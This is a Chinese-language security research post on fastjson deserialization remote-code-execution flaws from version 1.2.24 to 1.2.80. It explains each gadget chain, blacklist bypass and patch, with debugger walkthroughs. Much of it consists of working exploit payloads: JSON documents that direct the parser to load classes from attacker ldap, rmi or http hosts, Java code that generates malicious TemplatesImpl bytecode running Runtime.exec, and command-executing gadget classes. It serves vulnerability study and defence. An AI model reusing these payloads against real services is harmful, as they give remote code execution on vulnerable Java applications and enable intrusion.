前言
影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type
指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。
fastjson <= 1.2.24 存在两条利用链:
(1) jdbcRowSetImpl - JNDI注入
(2) TemplatesImpl
fastjson 反序列化时的一些规则
这里列举一些 fastjson 反序列化时对函数方法名和参数的一些要求:
- 使用
JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,两者调用链一致,前者会在 jsonString 中解析字符串获取 @type
指定的类,后者则会直接使用参数中的 class。
- fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,
- 其中 getter 方法需满足条件:
- 方法名长于 4
- 不是静态方法
- 以
get
开头且第 4 位是大写字母
- 方法不能有参数传入
- 继承自
Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
- 此属性没有 setter 方法;
- setter 方法需满足条件:
- 方法名长于 4
- 以
set
开头且第 4 位是大写字母
- 非静态方法
- 返回类型为 void 或当前类
- 参数个数为 1 个。
具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()
中。
FastJson <= 1.2.24
jdbcRowSetImpl链
位置:com.sun.rowset.JdbcRowSetImpl#setAutoCommit
跟进 this.connect()方法:

this.connect()方法中使用了 lookup()方法:

dataSourceName值可控,存在JNDI注入:

POC
1 2 3 4 5
| { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.43.95:8085/Command", "autoCommit":true }
|

利用场景:
1 2 3 4 5 6
| (1) 使用 parseObeject()方法时: Object object = JSON.parseObject(user); Object object = JSON.parseObject(user, Object.class);
(2) 使用 parse()方法时: Object object = JSON.parse(user);
|
其中 user输入用户可控。
TemplatesImpl链(条件苛刻)
TemplatesImpl 起源 getter方法 getOutputProperties(),跟进 newTransformer():

继续跟进 getTransletInstance():

可以看到当 _class 的值为 null时会调用 defineTransletClasses(),跟进 defineTransletClasses():


1、想进入 try{}代码模块。_bytecodes字节码数组不可以为 null。
2、加载的类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,_transletIndex
默认值为 -1,若加载类父类不是 AbstractTranslet,就会报错。
符合条件的类加载完成后,在 getTransletInstance()中进行实例化,实例化时会执行 静态初始化块的代码,从而RCE。
POC(参考 Y4er师傅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package com.xxxx.fastjson_demo.run;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.tomcat.util.codec.binary.Base64;
public class JDK7u21 { public static byte[] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "XxxX" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
return cc.toBytecode(); }
public static void main(String args[]) { try { byte[] evilCode = getevilbyte(); String evilCode_base64 = Base64.encodeBase64String(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) { e.printStackTrace(); } }
public static class test {
} }
|
1.2.25 <= FastJson <= 1.2.41
使用 jdbc链时报错:autoType is not support. com.sun.rowset.jdbcRowSetImpl

FastJson 在 1.2.25 ~ 1.2.41 版本中增加了 checkAutoType(),在获取 @type的值时对其进行检测:

跟进 com.alibaba.fastjson.parser.ParserConfig#checkAutoType
autoTypeSupport 值默认为 false,使用黑白名单进行验证,若将 autoTypeSupport机制开启,即 autoTypeSupport = true,即可无需白名单检测通过,也可以加载类:

但依然要绕过黑名单检测:

可以使用 loadClass()的特殊字符去除机制进行绕过(逻辑漏洞):

类名开头为[
会在类加载时去除,以 L
开头;
结尾也会在类加载时去除。
POC
1、首先显示的开启 autoTypeSupport机制:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2、特殊字符绕过黑名单检测:
1 2 3 4 5
| { "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://192.168.43.95:8085/Command", "autoCommit":true }
|

注:黑名单绕过是基于ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
的基础之上的。
FastJson 1.2.42
1.2.42 版本中的黑名单采用了 hash值的形式。
并且对传入的类进行了特殊字符处理,对开头的 L 和结尾的 ; 进行了一次去除,并重新将删除后的结果赋值className。但 loadClass()进行的是递归处理,所以可以双写绕过:

POC
1 2 3 4 5
| { "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://192.168.43.95:8085/Command", "autoCommit":true }
|
FastJson 1.2.43
修复双写绕过,若出现两个 L字符开头则直接抛出异常:

但是 [
可以正常使用,使用 [
绕过即可。
POC
1 2 3 4 5
| { "@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://192.168.43.95:8085/Command", "autoCommit":true }
|
FastJson 1.2.44
修复了 1.2.43中 [
字符绕过的问题。
FastJson 1.2.45
黑名单绕过。
POC
1 2 3 4 5 6 7 8
| { "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:23457/Command8" } }
|
FastJson 1.2.47 (重要)
POC
1 2 3 4 5 6 7 8 9 10 11 12
| { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
|
FastJson 1.2.47 是最为严重的一个漏洞。可以在不开启 autoTypeSupport的条件下实现RCE。
com.alibaba.fastjson.util.TypeUtils
的静态代码块初始化调用 com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
将常用的类通过 loadClass()放到 mappings中:

使用 POC进行调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class Test { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s = "{\n" + " \"a\": {\n" + " \"@type\": \"java.lang.Class\", \n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" + " }, \n" + " \"b\": {\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" + " \"dataSourceName\": \"ldap://192.168.43.95:8085/attack\", \n" + " \"autoCommit\": true\n" + " }\n" + "}\n"; Object o = JSON.parseObject(s, Object.class); System.out.println(o); } }
|
继续跟进到 checkAutoType()中,代码使用 Mapping 和使用 deserializers.findClass() 查找 Java.lang.Class:

找到后赋值给 clazz:

clazz有值后,直接返回了,无需经过黑白名单检测:

从 checkAutoType()出来后,跟进 deserialize():

Parser.parse()获取到 objVal的值:

进而赋值给 strVal:

经过一系列 if判断,因为 clazz 为 java.lang.Class == Class.class,所以 strVal作为参数被 TypeUtils.loadClass()调用,跟进 TypeUtils.loadClass():

继续跟进 loadClass(),可以看到 cache参数默认为 true:

将 com.sun.rowset.JdbcRowSetImpl
类加入到了 mapping中。这样在解析第二组键值对时,可以在 mapping中找到 JdbcRowSetImpl类从而直接 return class,无需黑白名单检测,实现RCE。


FastJson 1.2.48
针对 1.2.47进行了修复,将 cache的默认值从 true修改为了 false:

FastJson 1.2.62
前提:autoTypeSupport 为 true
POC
1 2 3 4
| { "@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"rmi://127.0.0.1:1099/exploit" }
|
FastJson 1.2.66
前提:autoTypeSupport 为 true
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| { "@type":"org.apache.shiro.jndi.JndiObjectFactory", "resourceName":"ldap://192.168.80.1:1389/Calc" }
{ "@type":"br.com.anteros.dbcp.AnterosDBCPConfig", "metricRegistry":"ldap://192.168.80.1:1389/Calc" }
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":"ldap://192.168.80.1:1389/Calc" }
{ "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", "properties": { "@type":"java.util.Properties", "UserTransaction":"ldap://192.168.80.1:1389/Calc" } }
|
FastJson 1.2.68
FastJson 1.2.68版本引入了安全模式 safeMode,如果开启了安全模式,直接抛出异常,一劳永逸:

这个版本有两个RCE: ThrowableDeserializer.deserialze()
和 JavaBeanDeserializer.deserialze()
但是 ThrowableDeserializer.deserialze()
很鸡肋,因为很少有开发往异常类中去写命令执行。
POC1 (Throwable)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.xxxx.fastjson_demo.Exploit;
import java.io.IOException;
public class ExecException extends Exception {
private String command;
public ExecException() { super(); System.out.println("构造函数"); }
public String getCommand() { System.out.println("getCommand"); return command; }
public void setCommand(String command) { System.out.println("setCommand"); this.command = command; }
@Override public String getMessage() { try { Runtime.getRuntime().exec(command); } catch (IOException e) { return e.getMessage(); }
return super.getMessage(); } }
|
1 2 3 4 5
| { "@type":"java.lang.Exception", "@type": "com.xxxx.fastjson_demo.Exploit.ExecException", "command": "open -a Calculator" }
|
调试
获取 Java.lang.Exception的反序列化器时,跟进 getDeserializer()方法:

因为 Throwable是 Exception类的父类,故使用 ThrowableDeserializer来获取反序列化器,而不是使用 createJavaBeanDeserializer():

继续跟进 deserializer.deserialze():

可以看到此时 checkAutoType()中的 exClassName值为 Throwable.class,跟进 checkAutoType():

符合 expectClass.isAssignableFrom(clazz)的条件,return clazz,通过 checkAutoType检测,后续通过调用 getter,setter方法引发RCE。
POC2 (AutoCloseable)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.xxxx.fastjson_demo.Exploit;
import java.io.Closeable; import java.io.IOException;
public class ExecCloseable implements Closeable { private String command;
public ExecCloseable() { }
public ExecCloseable(String command) { this.command = command; }
public String getCommand() { try { Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } return command; }
public void setCommand(String command) { this.command = command; }
@Override public void close() throws IOException { } }
|
1 2 3 4 5
| { "@type":"java.lang.AutoCloseable", "@type": "com.xxxx.fastjson_demo.Exploit.ExecCloseable", "domain": "open -a Calculator" }
|
过程同理,不过多赘述。
FastJson 1.2.80
回顾 FastJson 1.2.68版本的漏洞,利用 ThrowableDeserializer和 JavaBeanDeserializer在调用 checkAutoType时第二个参数 exceptClass期望类不为空实现RCE,但是哪个开发往异常类里写命令执行函数呢,所以这个版本漏洞的攻击面很小,所以官网并未对这个绕过进行修复,而是把几个可能被利用的类加入了黑名单,为 FastJson 1.2.80版本的RCE埋下伏笔。
参考 Y4er师傅的代码,构造一个 Json解释原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.xxxx.fastjson_demo.run;
import java.io.IOException;
public class MyClass { public String command;
public void setCommand(String command) throws IOException { System.out.println("MyClass.setCommand被调用"); Runtime runtime = Runtime.getRuntime(); runtime.exec(command); } }
|
1 2 3 4 5 6 7 8 9 10
| package com.xxxx.fastjson_demo.run;
public class MyException extends Throwable { private MyClass clazz;
public void setClazz(MyClass clazz) { this.clazz = clazz; } }
|
Json_poc:
1 2 3 4 5 6 7 8 9 10 11
| { "a":{ "@type":"java.lang.Exception", "@type":"com.xxxx.fastjson_demo.run.MyException", "clazz":{} }, "b":{ "@type":"com.xxxx.fastjson_demo.run.MyClass","command":"open -a Calculator" } }
|
打断点调试,同 FastJson_1.2.68,使用反序列化器 ThrowableDeserializer,跟进 ThrowableDeserializer.deserialze():

依旧同 FastJson_1.2.68,获取第二个 @type中的值 com.xxxx.fastjson_demo.run.MyException
,并创建它的异常实例:


继续跟进,若还有剩余键值对未进行反序列化 (这里剩余 “clazz”:{}),会继续获取 exClass的反序列化器:

继续跟进,如果 value不是 fieldInfo.fieldClass类型则会进入 TypeUtils.cast()中,这里 fieldInfo.fieldClass 是 com.xxxx.fastjson_demo.run.MyException
,value = {}显然类型不同,跟进 TypeUtils.cast():

继续跟进:

经过一系列判断,因为 obj = value = {},{}表示空的 JSON对象,{} instancef Map是正确的,继续跟进 castToJavaBean():

跟进 getDeserializer()方法:

继续跟进:

最后调用 putDeserializer()方法,将 com.xxxx.fastjson_demo.run.MyClass类加入到 deserializer名单中

这样就可以在反序列化 Json中的 “b”的内容时,通过 checkAutoType检测,实现RCE。

POC
(1) Groovy: (参考 https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| { "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} }
{ "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8090/" } }
|
修复:直接干掉了异常类

参考文章:
(1) https://y4er.com/posts/fastjson-1.2.80/
(2) https://y4er.com/posts/fastjson-bypass-autotype-1268/
(3) https://y4er.com/posts/fastjson-learn/
(4) https://github.com/su18/hack-fastjson-1.2.80
(5) https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7